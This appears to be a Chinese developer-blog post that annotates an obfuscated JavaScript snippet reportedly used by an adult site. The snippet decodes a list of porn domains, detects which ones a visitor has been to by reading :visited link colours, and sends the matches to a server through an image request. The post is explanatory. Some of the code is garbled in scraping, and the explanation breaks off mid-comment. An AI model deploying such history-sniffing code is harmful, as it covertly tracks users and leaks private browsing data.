热门标签 | HotTags
当前位置:  开发笔记 > 前端 > 正文

悄悄用脚本检查你访问过哪些网站的代码

YouPorn是YouTube的成人自拍版,Alexa排名61。如果你登陆YouPorn主页,它会悄悄用脚本检查你访问过哪些色情网站。
打开它的“页面源文件”,你能找到一段加密过的JS脚本:
代码如下:

function ypol(){
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"};
var g=[];
for(var m in k){
var d=k[m]; //遍历k中的元素赋值给d
var a="";
for(var f=0;fa+=String.fromCharCode(d.charCodeAt(f)-1);
}/* 这里把d中的每一条字符都还原了。
* charCodeAt(char) 函数返回char的ascii码
* String.fromCharCode(asccii) 返回ascii码对应的字符
* 然后把结果赋值给a
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com
*/
var h=false;
/*
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/
* 为什么要循环来2次,目的是为了准确性
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名
* 所以要区别对待
*/
for(var j in {"http://":"","http://www.":""}){
var l=document.createElement("a"); //创建一个A对象
l.href=j+a;
document.getElementById("ol").appendChild(l);
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS
var e="";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; //取IE中A对象的颜色
}else {
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
//取其他标准浏览器的颜色
}
if(e=="#0c2238"||e=="#0c2238"){
/*
* 如果是紫色,就表示访问过此站点。
* 浏览器默认给访问过的链接标记为紫色
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //如果访问过,把站点加入列表g
g.push(m);
}
}
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串
var c=document.createElement("img"); //建立一个img对象
c.src="https://img.devbox.cn/3cccf/16086/243/5e25fe10f29a56d2.png?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样
/*
* 以一次图片访问,在web-server

推荐阅读
  • 本文详细介绍如何利用已搭建的LAMP(Linux、Apache、MySQL、PHP)环境,快速创建一个基于WordPress的内容管理系统(CMS)。WordPress是一款流行的开源博客平台,适用于个人或小型团队使用。 ... [详细]
  • 本文详细介绍了在企业级项目中如何优化 Webpack 配置,特别是在 React 移动端项目中的最佳实践。涵盖资源压缩、代码分割、构建范围缩小、缓存机制以及性能优化等多个方面。 ... [详细]
  • JavaScript实现表格数据的实时筛选功能
    本文介绍如何使用JavaScript实现对表格数据的实时筛选,帮助开发者提高用户体验。通过简单的代码示例,展示如何根据用户输入的关键字动态过滤表格内容。 ... [详细]
  • Startup 类配置服务和应用的请求管道。Startup类ASP.NETCore应用使用 Startup 类,按照约定命名为 Startup。 Startup 类:可选择性地包括 ... [详细]
  • 深入探讨智能布线管理系统的电子配线架应用
    本文详细介绍了电子配线架智能布线系统的核心优势,包括实时监测网络连接、提高操作准确性、图形化显示连接架构、自动识别网络拓扑、增强安全性等功能。该系统不仅提升了网络管理的效率和准确性,还为资产管理、报告生成以及与其他智能系统的集成提供了强大的支持。 ... [详细]
  • 通过Web界面管理Linux日志的解决方案
    本指南介绍了一种利用rsyslog、MariaDB和LogAnalyzer搭建集中式日志管理平台的方法,使用户可以通过Web界面查看和分析Linux系统的日志记录。此方案不仅适用于服务器环境,还提供了详细的步骤来确保系统的稳定性和安全性。 ... [详细]
  • 本文介绍了多个关于JavaScript的书籍资源、实用工具和编程实例,涵盖从入门到进阶的各个阶段,帮助读者全面提升JavaScript编程能力。 ... [详细]
  • 本文将深入探讨如何在不依赖第三方库的情况下,使用 React 处理表单输入和验证。我们将介绍一种高效且灵活的方法,涵盖表单提交、输入验证及错误处理等关键功能。 ... [详细]
  • 本文介绍了一段使用jQuery实现的用户注册页面表单验证代码,适用于前端开发人员学习和参考。该示例结合了HTML、CSS和JavaScript,确保用户输入的数据格式正确。 ... [详细]
  • 创建项目:Visual Studio Online 入门指南
    本文介绍如何使用微软的 Visual Studio Online(VSO)创建和管理开发项目。作为一款基于云计算的开发平台,VSO 提供了丰富的工具和服务,简化了项目的配置和部署流程。 ... [详细]
  • 本文详细介绍了网络存储技术的基本概念、分类及应用场景。通过分析直连式存储(DAS)、网络附加存储(NAS)和存储区域网络(SAN)的特点,帮助读者理解不同存储方式的优势与局限性。 ... [详细]
  • 尽管深度学习带来了广泛的应用前景,其训练通常需要强大的计算资源。然而,并非所有开发者都能负担得起高性能服务器或专用硬件。本文探讨了如何在有限的硬件条件下(如ARM CPU)高效运行深度神经网络,特别是通过选择合适的工具和框架来加速模型推理。 ... [详细]
  • 本文深入探讨了HTTP请求和响应对象的使用,详细介绍了如何通过响应对象向客户端发送数据、处理中文乱码问题以及常见的HTTP状态码。此外,还涵盖了文件下载、请求重定向、请求转发等高级功能。 ... [详细]
  • 探讨架构师在项目中应如何平衡对产品的关注和对团队成员的关注,以实现最佳的开发成果。 ... [详细]
  • Python 异步编程:ASGI 服务器与框架详解
    自 Python 3.5 引入 async/await 语法以来,异步编程迅速崛起,吸引了大量开发者的关注。本文将深入探讨 ASGI(异步服务器网关接口)及其在现代 Python Web 开发中的应用,介绍主流的 ASGI 服务器和框架。 ... [详细]
author-avatar
气质未央若
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有